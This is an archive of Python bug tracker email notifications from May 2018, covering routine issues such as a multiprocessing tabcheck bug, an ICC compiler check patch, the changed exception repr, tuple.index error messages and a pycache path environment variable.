bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 14:28:11 +0000 Subject: [issue33538] Remove useless check in subprocess In-Reply-To: <1526476881.16.0.682650639539.issue33538@psf.upfronthosting.co.za> Message-ID: <1526567291.59.0.682650639539.issue33538@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: It is in PyImport_Cleanup() in Python/import.c. Search PyObject_SetItem(modules, name, Py_None). If you will run Python with the -v option you will see numerous messages "# cleanup[2] removing ..." emitted on stderr. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 10:31:19 2018 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 17 May 2018 14:31:19 +0000 Subject: [issue19251] bitwise ops for bytes of equal length In-Reply-To: <1381694847.24.0.709324715816.issue19251@psf.upfronthosting.co.za> Message-ID: <1526567479.2.0.682650639539.issue19251@psf.upfronthosting.co.za> Nick Coghlan added the comment: I'm back in the embedded software world now, and hence working with the combination of: - low level serial formats (including fixed length CAN packets) - C firmware developers that are quite capable of writing supporting C-in-Python code using the standard library, but aren't the least bit interested in graduating from writing standalone stdlib-only Python scripts that live in repositories otherwise full of C code to writing full Python applications with PyPI backed dependency management (etc) It's the kind of environment where having the struct module in the standard library is incredibly valuable, and the main things that better support for direct manipulation of binary data could potentially offer us is avoiding some "memory -> struct.unpack -> process -> struct.pack -> memory" round trips, as well as potentially reducing the overall amount of code we have to maintain. So I'll keep an eye out for potential opportunities for code simplification - while crypto algorithms, file formats, network protocols, and hardware interfaces can all call for this kind of thing, I'm less sure how often we're encountering it in situations where having it available would have let us avoid invoking struct entirely. ---------- nosy: +ncoghlan versions: +Python 3.8 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 10:34:39 2018 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Thu, 17 May 2018 14:34:39 +0000 Subject: [issue19251] bitwise ops for bytes of equal length In-Reply-To: <1381694847.24.0.709324715816.issue19251@psf.upfronthosting.co.za> Message-ID: <1526567679.56.0.682650639539.issue19251@psf.upfronthosting.co.za> ???? ????????? added the comment: @ncoghlan Could you please create Pull-request on Github ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 10:37:58 2018 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 17 May 2018 14:37:58 +0000 Subject: [issue19251] bitwise ops for bytes of equal length In-Reply-To: <1381694847.24.0.709324715816.issue19251@psf.upfronthosting.co.za> Message-ID: <1526567878.75.0.682650639539.issue19251@psf.upfronthosting.co.za> Nick Coghlan added the comment: This issue isn't at the stage where a PR would help - the core question is still "Should we add better native support for multi-byte bitwise operations?", not the specifics of what they API might look like or how we would implement it. ---------- stage: needs patch -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 10:50:31 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 14:50:31 +0000 Subject: [issue19251] bitwise ops for bytes of equal length In-Reply-To: <1381694847.24.0.709324715816.issue19251@psf.upfronthosting.co.za> Message-ID: <1526568631.3.0.682650639539.issue19251@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Nick, for your tasks you may be interested in PEP 3118 which still is not completely implemented (issue3132). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 10:57:30 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Thu, 17 May 2018 14:57:30 +0000 Subject: [issue33051] IDLE: Create new tab for editor options in configdialog In-Reply-To: <1520796379.91.0.467229070634.issue33051@psf.upfronthosting.co.za> Message-ID: <1526569050.52.0.682650639539.issue33051@psf.upfronthosting.co.za> Cheryl Sabella added the comment: Yes, I thought it would be good to have this before issue33046. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 11:08:37 2018 From: report at bugs.python.org (John Reese) Date: Thu, 17 May 2018 15:08:37 +0000 Subject: [issue33516] unittest.mock: Add __round__ to supported magicmock methods In-Reply-To: <1526384892.72.0.682650639539.issue33516@psf.upfronthosting.co.za> Message-ID: <1526569717.19.0.682650639539.issue33516@psf.upfronthosting.co.za> Change by John Reese : ---------- nosy: +jreese, lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 11:08:48 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 17 May 2018 15:08:48 +0000 Subject: [issue19950] Document that unittest.TestCase.__init__ is called once per test In-Reply-To: <1386714858.72.0.878231586551.issue19950@psf.upfronthosting.co.za> Message-ID: <1526569728.18.0.682650639539.issue19950@psf.upfronthosting.co.za> Gregory P. Smith added the comment: New changeset dff46758f267ad6c13096c69c4e1dee17f9969aa by Gregory P. Smith in branch 'master': bpo-19950: Clarify unittest TestCase instance use. (GH-6875) https://github.com/python/cpython/commit/dff46758f267ad6c13096c69c4e1dee17f9969aa ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 11:08:57 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 17 May 2018 15:08:57 +0000 Subject: [issue19950] Document that unittest.TestCase.__init__ is called once per test In-Reply-To: <1386714858.72.0.878231586551.issue19950@psf.upfronthosting.co.za> Message-ID: <1526569737.07.0.682650639539.issue19950@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6608 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 11:09:55 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 17 May 2018 15:09:55 +0000 Subject: [issue19950] Document that unittest.TestCase.__init__ is called once per test In-Reply-To: <1386714858.72.0.878231586551.issue19950@psf.upfronthosting.co.za> Message-ID: <1526569795.55.0.682650639539.issue19950@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6609 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 11:12:34 2018 From: report at bugs.python.org (Gianfranco) Date: Thu, 17 May 2018 15:12:34 +0000 Subject: [issue28584] ICC compiler check is too permissive In-Reply-To: <1478035366.63.0.90573648053.issue28584@psf.upfronthosting.co.za> Message-ID: <1526569954.31.0.682650639539.issue28584@psf.upfronthosting.co.za> Gianfranco added the comment: I'm attaching the patch that works also for parameters, e.g. when CC contains --sysroot=/home/icc or similar. we can mark https://bugs.python.org/issue33341 duplicate to this one I think ---------- nosy: +locutusofborg versions: +Python 3.8 -Python 2.7, Python 3.5, Python 3.6, Python 3.7 Added file: https://bugs.python.org/file47595/icc-find.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 11:13:40 2018 From: report at bugs.python.org (Gianfranco) Date: Thu, 17 May 2018 15:13:40 +0000 Subject: [issue33341] python3 fails to build if directory or sysroot contains "*icc*" string In-Reply-To: <1524478342.39.0.682650639539.issue33341@psf.upfronthosting.co.za> Message-ID: <1526570020.22.0.682650639539.issue33341@psf.upfronthosting.co.za> Gianfranco added the comment: This was the patch I wanted to add, but I picked up a wrong one (a vbox one) In any case, duplicate of issue28584 ---------- keywords: +patch resolution: -> duplicate Added file: https://bugs.python.org/file47596/icc-find.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 11:15:57 2018 From: report at bugs.python.org (Gianfranco) Date: Thu, 17 May 2018 15:15:57 +0000 Subject: [issue28584] ICC compiler check is too permissive In-Reply-To: <1478035366.63.0.90573648053.issue28584@psf.upfronthosting.co.za> Message-ID: <1526570157.35.0.682650639539.issue28584@psf.upfronthosting.co.za> Gianfranco added the comment: My first attempt was instead of *gcc* to just check for *gcc this avoids when "icc" is the last part of the string, I admit this is not too strong. Another approach is to use basename with cut -d " " -f 1 to pick just the first parameter, but maybe the best way is to do something like this: gcc|*/gcc|*-gcc I confirm the "icc-find-v2.patch" works in this way ---------- Added file: https://bugs.python.org/file47597/icc-find-v2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 11:28:12 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 17 May 2018 15:28:12 +0000 Subject: [issue33051] IDLE: Create new tab for editor options in configdialog In-Reply-To: <1520796379.91.0.467229070634.issue33051@psf.upfronthosting.co.za> Message-ID: <1526570892.31.0.682650639539.issue33051@psf.upfronthosting.co.za> Terry J. Reedy added the comment: A new option would (maybe) apply to saving the shell also. (Something to discuss there.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 11:31:11 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 17 May 2018 15:31:11 +0000 Subject: [issue33341] python3 fails to build if directory or sysroot contains "*icc*" string In-Reply-To: <1524478342.39.0.682650639539.issue33341@psf.upfronthosting.co.za> Message-ID: <1526571071.58.0.682650639539.issue33341@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- stage: patch review -> resolved status: open -> closed superseder: -> ICC compiler check is too permissive _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 11:34:20 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 17 May 2018 15:34:20 +0000 Subject: [issue33341] python3 fails to build if directory or sysroot contains "*icc*" string In-Reply-To: <1524478342.39.0.682650639539.issue33341@psf.upfronthosting.co.za> Message-ID: <1526571260.57.0.682650639539.issue33341@psf.upfronthosting.co.za> Change by Terry J. Reedy : Removed file: https://bugs.python.org/file47547/patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 11:35:11 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 17 May 2018 15:35:11 +0000 Subject: [issue33341] python3 fails to build if directory or sysroot contains "*icc*" string In-Reply-To: <1524478342.39.0.682650639539.issue33341@psf.upfronthosting.co.za> Message-ID: <1526571311.39.0.682650639539.issue33341@psf.upfronthosting.co.za> Terry J. Reedy added the comment: icc-find.patch (and a 2nd version) has been uploaded to #28584 also. I unlinked the erroneous upload 'patch'. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 11:38:07 2018 From: report at bugs.python.org (Jakub Wilk) Date: Thu, 17 May 2018 15:38:07 +0000 Subject: [issue33557] Windows multiprocessing doesn't propagate tabcheck to children Message-ID: <1526571487.53.0.682650639539.issue33557@psf.upfronthosting.co.za> New submission from Jakub Wilk : Multiprocessing on Windows is supposed to start child processes using the same sys.flags as the current process (see issue 12098). However, at least sys.flags.tabcheck is not propagated. I've attached small test program that reproduces this bug. On Linux, as expected, it fails with TabError if you use -tt: $ python -tt test-tabcheck.py Process Process-1: Traceback (most recent call last): File "/usr/lib/python2.7/multiprocessing/process.py", line 267, in _bootstrap self.run() File "/usr/lib/python2.7/multiprocessing/process.py", line 114, in run self._target(*self._args, **self._kwargs) File "test-tabcheck.py", line 6, in test_ast_parse ast.parse('if 1:\n\t1\n' + '\x20' * 8 +'1') File "/usr/lib/python2.7/ast.py", line 37, in parse return compile(source, filename, mode, PyCF_ONLY_AST) File "", line 3 1 ^ TabError: inconsistent use of tabs and spaces in indentation But it doesn't on Windows: >python -tt test-tabcheck.py Process Process-1: Traceback (most recent call last): File "C:\Python27\lib\multiprocessing\process.py", line 267, in _bootstrap self.run() File "C:\Python27\lib\multiprocessing\process.py", line 114, in run self._target(*self._args, **self._kwargs) File "...\test-tabcheck.py", line 7, in test_ast_parse assert sys.flags.tabcheck == expected_tabcheck, 'sys.flags.tabcheck == {0} != {1}'.format(sys.flags.tabcheck, expected_tabcheck) AssertionError: sys.flags.tabcheck == 0 != 2 This was tested with Python 2.7.15. ---------- components: Library (Lib), Windows files: test-tabcheck.py messages: 316949 nosy: jwilk, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: Windows multiprocessing doesn't propagate tabcheck to children versions: Python 2.7 Added file: https://bugs.python.org/file47598/test-tabcheck.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 11:40:10 2018 From: report at bugs.python.org (Steve Dower) Date: Thu, 17 May 2018 15:40:10 +0000 Subject: [issue33522] Enable CI builds on Visual Studio Team Services In-Reply-To: <1526400954.34.0.682650639539.issue33522@psf.upfronthosting.co.za> Message-ID: <1526571610.44.0.682650639539.issue33522@psf.upfronthosting.co.za> Steve Dower added the comment: This is implemented and merged now. I'll leave it to core-workflow to decide whether and when to make the builds required and/or reduce use of Travis/AppVeyor. ---------- resolution: -> fixed stage: patch review -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 11:41:55 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Thu, 17 May 2018 15:41:55 +0000 Subject: [issue33537] Help on importlib.resources outputs the builtin open description In-Reply-To: <1526473768.61.0.682650639539.issue33537@psf.upfronthosting.co.za> Message-ID: <1526571715.68.0.682650639539.issue33537@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: New changeset 0ed66df5242138fc599b4735749e55f953d9a1e4 by Barry Warsaw in branch 'master': bpo-33537: Add an __all__ to importlib.resources (#6920) https://github.com/python/cpython/commit/0ed66df5242138fc599b4735749e55f953d9a1e4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 11:43:03 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 17 May 2018 15:43:03 +0000 Subject: [issue33537] Help on importlib.resources outputs the builtin open description In-Reply-To: <1526473768.61.0.682650639539.issue33537@psf.upfronthosting.co.za> Message-ID: <1526571783.48.0.682650639539.issue33537@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6610 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 11:53:36 2018 From: report at bugs.python.org (Filip) Date: Thu, 17 May 2018 15:53:36 +0000 Subject: [issue33558] Python has no icon in taskbar and in start screen Message-ID: <1526572416.53.0.682650639539.issue33558@psf.upfronthosting.co.za> New submission from Filip : I've just downloaded the latest version of Python (3.6.5) from python.org. After installing, I launched it and I found out the app has no icon. Then I tried to download Python using different link, but it was the same as the first try. ---------- files: bug.png messages: 316952 nosy: e_l_e_c_t_r_i_f_y priority: normal severity: normal status: open title: Python has no icon in taskbar and in start screen type: performance versions: Python 3.5 Added file: https://bugs.python.org/file47599/bug.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 12:04:58 2018 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Thu, 17 May 2018 16:04:58 +0000 Subject: [issue33559] Exception's repr change not documented Message-ID: <1526573098.08.0.682650639539.issue33559@psf.upfronthosting.co.za> New submission from Miro Hron?ok : Python 3.6.5 ... >>> Exception('foo',) Exception('foo',) Python 3.7.0b4 ... >>> Exception('foo',) Exception('foo') This is a change that might bit people who rely on doctesting. It is not documented at https://docs.python.org/3.7/whatsnew/3.7.html I'll send a PR. ---------- assignee: docs at python components: Documentation messages: 316953 nosy: Elvis.Pranskevichus, docs at python, hroncok, ned.deily, yselivanov priority: normal severity: normal status: open title: Exception's repr change not documented versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 12:05:11 2018 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Thu, 17 May 2018 16:05:11 +0000 Subject: [issue33559] Exception's repr change not documented In-Reply-To: <1526573098.08.0.682650639539.issue33559@psf.upfronthosting.co.za> Message-ID: <1526573111.35.0.682650639539.issue33559@psf.upfronthosting.co.za> Change by Miro Hron?ok : ---------- type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 12:10:52 2018 From: report at bugs.python.org (Carl Meyer) Date: Thu, 17 May 2018 16:10:52 +0000 Subject: [issue33499] Environment variable to set alternate location for pycache tree In-Reply-To: <1526310769.71.0.682650639539.issue33499@psf.upfronthosting.co.za> Message-ID: <1526573452.52.0.682650639539.issue33499@psf.upfronthosting.co.za> Carl Meyer added the comment: Can we have a named -X option that also takes a parameter? I don't see any existing examples of that. This option needs to take the path where bytecode should be written. Are there strong use-cases for having a CLI arg for this? I don't mind doing the implementation work if there are, but right now I'm struggling to think of any case where it would be better to run `python -C /tmp/bytecode` than `PYTHONBYTECODEPATH=/tmp/bytecode python`. Our existing "takes a path" env variables (`PYTHONHOME` and `PYTHONPATH`) do not have CLI equivalents. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 12:20:20 2018 From: report at bugs.python.org (Cyril Roelandt) Date: Thu, 17 May 2018 16:20:20 +0000 Subject: [issue33560] tuple.index() could return a more explicit error message Message-ID: <1526574020.28.0.682650639539.issue33560@psf.upfronthosting.co.za> New submission from Cyril Roelandt : The tuple.index() method returns an error message that does not allow users to know what element was being looked for inside the tuple: >>> ().index(1) Traceback (most recent call last): File "", line 1, in ValueError: tuple.index(x): x not in tuple The list.index() method has a much better error message: >>> [].index(1) Traceback (most recent call last): File "", line 1, in ValueError: 1 is not in list We could improve tuple.index() so that its behaviour becomes similar to that of list.index(). ---------- messages: 316955 nosy: Cyril Roelandt priority: normal severity: normal status: open title: tuple.index() could return a more explicit error message type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 12:20:57 2018 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 17 May 2018 16:20:57 +0000 Subject: [issue19251] bitwise ops for bytes of equal length In-Reply-To: <1381694847.24.0.709324715816.issue19251@psf.upfronthosting.co.za> Message-ID: <1526574057.18.0.682650639539.issue19251@psf.upfronthosting.co.za> Nick Coghlan added the comment: Thanks for the link Serhiy (I'd forgotten about the struct changes proposed in PEP 3118), but the existing struct formatting codes are fine for my purposes. The question is whether we might be able to avoid some bytes->Python-objects->bytes cycles if there were a few more contiguous-binary-data-centric operations on bytes and/or memoryview (similar to the way the ASCII-centric operations on bytes and bytearray help to avoid bytes->text->bytes cycles). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 12:22:23 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 17 May 2018 16:22:23 +0000 Subject: [issue19251] bitwise ops for bytes of equal length In-Reply-To: <1526574057.18.0.682650639539.issue19251@psf.upfronthosting.co.za> Message-ID: <25e37b12-38ba-7a3a-b392-32fd38d70069@free.fr> Antoine Pitrou added the comment: Le 17/05/2018 ? 18:20, Nick Coghlan a ?crit?: > > The question is whether we might be able to avoid some bytes->Python-objects->bytes cycles if there were a few more contiguous-binary-data-centric operations on bytes and/or memoryview (similar to the way the ASCII-centric operations on bytes and bytearray help to avoid bytes->text->bytes cycles). Can you elaborate on your question? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 12:22:29 2018 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Thu, 17 May 2018 16:22:29 +0000 Subject: [issue33559] Exception's repr change not documented In-Reply-To: <1526573098.08.0.682650639539.issue33559@psf.upfronthosting.co.za> Message-ID: <1526574149.3.0.682650639539.issue33559@psf.upfronthosting.co.za> Change by Miro Hron?ok : ---------- keywords: +patch pull_requests: +6611 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 12:26:51 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Thu, 17 May 2018 16:26:51 +0000 Subject: [issue33499] Environment variable to set alternate location for pycache tree In-Reply-To: <1526310769.71.0.682650639539.issue33499@psf.upfronthosting.co.za> Message-ID: <1526574411.89.0.682650639539.issue33499@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: Honestly, I don't think there's a strong argument for a CLI option. I'm perfectly happy with just an environment variable. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 12:27:27 2018 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 17 May 2018 16:27:27 +0000 Subject: [issue33499] Environment variable to set alternate location for pycache tree In-Reply-To: <1526310769.71.0.682650639539.issue33499@psf.upfronthosting.co.za> Message-ID: <1526574447.54.0.682650639539.issue33499@psf.upfronthosting.co.za> Nick Coghlan added the comment: I believe the main argument for -X options is the fact that cmd on Windows doesn't offer a nice way of setting environment variables as part of the command invocation (hence "-X utf8", for example). As far as setting values for X options goes, `sys._xoptions` in CPython is a str:Union[bool,str] dict, with the command args split on "=": $ python3 -X arg=value -c "import sys; print(sys._xoptions)" {'arg': 'value'} If no value is given for the arg, then it's just set to the boolean True. The _xoptions entry shouldn't be the public API though - it's just a way of shuttling settings from the command line through to CPython-specific initialisation code. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 12:27:51 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Thu, 17 May 2018 16:27:51 +0000 Subject: [issue33537] Help on importlib.resources outputs the builtin open description In-Reply-To: <1526473768.61.0.682650639539.issue33537@psf.upfronthosting.co.za> Message-ID: <1526574471.6.0.682650639539.issue33537@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: New changeset 6417d33633a3979d996015e52e4ff6c7a88e93e5 by Barry Warsaw (Miss Islington (bot)) in branch '3.7': bpo-33537: Add an __all__ to importlib.resources (GH-6920) (#6941) https://github.com/python/cpython/commit/6417d33633a3979d996015e52e4ff6c7a88e93e5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 12:35:46 2018 From: report at bugs.python.org (Roundup Robot) Date: Thu, 17 May 2018 16:35:46 +0000 Subject: [issue33560] tuple.index() could return a more explicit error message In-Reply-To: <1526574020.28.0.682650639539.issue33560@psf.upfronthosting.co.za> Message-ID: <1526574946.5.0.682650639539.issue33560@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- keywords: +patch pull_requests: +6612 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 12:36:46 2018 From: report at bugs.python.org (Yury Selivanov) Date: Thu, 17 May 2018 16:36:46 +0000 Subject: [issue33403] asyncio.tasks.wait does not allow to set custom exception when return_when=FIRST_EXCEPTION In-Reply-To: <1526442166.13.0.682650639539.issue33403@psf.upfronthosting.co.za> Message-ID: <1526575006.5.0.682650639539.issue33403@psf.upfronthosting.co.za> Yury Selivanov added the comment: This isn't a priority now, so let's postpone the discussion on this until 3.7 is released. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 12:42:48 2018 From: report at bugs.python.org (Yury Selivanov) Date: Thu, 17 May 2018 16:42:48 +0000 Subject: [issue33544] Asyncio Event.wait() is a hold over from before awaitable, and should be awaitable In-Reply-To: <1526489874.13.0.682650639539.issue33544@psf.upfronthosting.co.za> Message-ID: <1526575368.72.0.682650639539.issue33544@psf.upfronthosting.co.za> Yury Selivanov added the comment: > Deprecating Event.wait would be incorrect because Event was designed to mimic the threading.Event class which has a (blocking) wait() method[1]. This is rather important. I'd like to continue maintaining this similarity. Adding 'await event' would be similar (in a way) to making instances of threading.Event callable. So deprecation of '.wait()' isn't something we will do. Having *both* 'await event.wait()' and 'await event' worries me. IMO the slight readability improvement isn't worth the added complexity. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 12:43:34 2018 From: report at bugs.python.org (Yury Selivanov) Date: Thu, 17 May 2018 16:43:34 +0000 Subject: [issue33533] Provide an async-generator version of as_completed In-Reply-To: <1526453333.0.0.682650639539.issue33533@psf.upfronthosting.co.za> Message-ID: <1526575414.52.0.682650639539.issue33533@psf.upfronthosting.co.za> Yury Selivanov added the comment: I like the idea. Let's revisit it after Python 3.7 is released. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 12:47:25 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 16:47:25 +0000 Subject: [issue33560] tuple.index() could return a more explicit error message In-Reply-To: <1526574020.28.0.682650639539.issue33560@psf.upfronthosting.co.za> Message-ID: <1526575645.78.0.682650639539.issue33560@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This is a duplicate of issue13349. ---------- nosy: +serhiy.storchaka resolution: -> fixed stage: patch review -> resolved status: open -> closed superseder: -> Non-informative error message in index() and remove() functions _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 12:55:41 2018 From: report at bugs.python.org (Steve Dower) Date: Thu, 17 May 2018 16:55:41 +0000 Subject: [issue33548] tempfile._candidate_tempdir_list should consider common TEMP locations In-Reply-To: <1526504719.45.0.682650639539.issue33548@psf.upfronthosting.co.za> Message-ID: <1526576141.94.0.682650639539.issue33548@psf.upfronthosting.co.za> Steve Dower added the comment: Merged as part of the VSTS PR (it was needed to fix some tests on the Windows build machine) ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 12:56:17 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 16:56:17 +0000 Subject: [issue33558] Python has no icon in taskbar and in start screen In-Reply-To: <1526572416.53.0.682650639539.issue33558@psf.upfronthosting.co.za> Message-ID: <1526576177.91.0.682650639539.issue33558@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- assignee: -> terry.reedy components: +IDLE, Windows nosy: +paul.moore, steve.dower, terry.reedy, tim.golden, zach.ware type: performance -> behavior versions: +Python 3.6 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 13:06:56 2018 From: report at bugs.python.org (Yury Selivanov) Date: Thu, 17 May 2018 17:06:56 +0000 Subject: [issue32604] Expose the subinterpreters C-API in Python for testing use. In-Reply-To: <1516413482.13.0.467229070634.issue32604@psf.upfronthosting.co.za> Message-ID: <1526576816.77.0.682650639539.issue32604@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- nosy: -yselivanov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 13:13:45 2018 From: report at bugs.python.org (Steven Vascellaro) Date: Thu, 17 May 2018 17:13:45 +0000 Subject: [issue33561] Add .tostring() method to xml.etree.ElementTree.Element Message-ID: <1526577225.21.0.682650639539.issue33561@psf.upfronthosting.co.za> New submission from Steven Vascellaro : In Python 3.6, converting an xml `xml.etree.ElementTree.Element` to a string is done using `xml.etree.ElementTree.tostring()`. ``` from xml.etree import ElementTree xml = ElementTree.Element('Person', Name='John') print(ElementTree.tostring(xml, encoding='unicode', method='xml') # Output: ``` I would like to propose adding a `tostring()` function to the `Element` class, so that `ElementTree.tostring(xml)` could be replaced with the more intuitive `xml.tostring()`. ``` from xml.etree import ElementTree xml = ElementTree.Element('Person', Name='John') print(xml.tostring(encoding='unicode', method='xml')) # Output: ``` Benefits: - Doesn't require importing `xml.etree.ElementTree` - Allows writing more concise code - Makes `tostring` part of the `Element` class - Maintains backwards compatibility ---------- components: XML messages: 316966 nosy: Stevoisiak priority: normal severity: normal status: open title: Add .tostring() method to xml.etree.ElementTree.Element type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 13:22:34 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 17 May 2018 17:22:34 +0000 Subject: [issue33555] No SyntaxError raised for `return` with argument inside generator In-Reply-To: <1526556806.68.0.682650639539.issue33555@psf.upfronthosting.co.za> Message-ID: <1526577754.12.0.682650639539.issue33555@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: See also What?s New In Python 3.3: https://docs.python.org/3/whatsnew/3.3.html#pep-380-syntax-for-delegating-to-a-subgenerator And PEP 380 itself. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 13:44:15 2018 From: report at bugs.python.org (Emily Morehouse) Date: Thu, 17 May 2018 17:44:15 +0000 Subject: [issue32604] Expose the subinterpreters C-API in Python for testing use. In-Reply-To: <1516413482.13.0.467229070634.issue32604@psf.upfronthosting.co.za> Message-ID: <1526579055.05.0.682650639539.issue32604@psf.upfronthosting.co.za> Change by Emily Morehouse : ---------- nosy: +emilyemorehouse _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 13:44:55 2018 From: report at bugs.python.org (Steve Dower) Date: Thu, 17 May 2018 17:44:55 +0000 Subject: [issue33559] Exception's repr change not documented In-Reply-To: <1526573098.08.0.682650639539.issue33559@psf.upfronthosting.co.za> Message-ID: <1526579095.53.0.682650639539.issue33559@psf.upfronthosting.co.za> Steve Dower added the comment: New changeset 631753fcc5e88bbbad402933e77295675cfe1fee by Steve Dower (Miro Hron?ok) in branch 'master': bpo-33559: Document changed repr of exceptions (GH-6943) https://github.com/python/cpython/commit/631753fcc5e88bbbad402933e77295675cfe1fee ---------- nosy: +steve.dower _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 13:45:56 2018 From: report at bugs.python.org (Steven Vascellaro) Date: Thu, 17 May 2018 17:45:56 +0000 Subject: [issue33561] Add .tostring() method to xml.etree.ElementTree.Element In-Reply-To: <1526577225.21.0.682650639539.issue33561@psf.upfronthosting.co.za> Message-ID: <1526579156.22.0.682650639539.issue33561@psf.upfronthosting.co.za> Steven Vascellaro added the comment: Alternatively, the most intuitive solution would be to give `Element` an explicit `__str__` method. The current behavior of `str(Element)` is to return the object's location in memory. ``` from xml.etree import ElementTree xml = ElementTree.Element('Person', Name='John') print(str(xml)) # Output: ``` Unfortunately, changing this behavior could cause issues with backwards compatibility. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 13:46:10 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 17 May 2018 17:46:10 +0000 Subject: [issue33559] Exception's repr change not documented In-Reply-To: <1526573098.08.0.682650639539.issue33559@psf.upfronthosting.co.za> Message-ID: <1526579170.8.0.682650639539.issue33559@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6613 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 13:51:11 2018 From: report at bugs.python.org (Paul Goins) Date: Thu, 17 May 2018 17:51:11 +0000 Subject: [issue33355] Windows 10 buildbot: 15 min timeout on test_mmap.test_large_filesize() 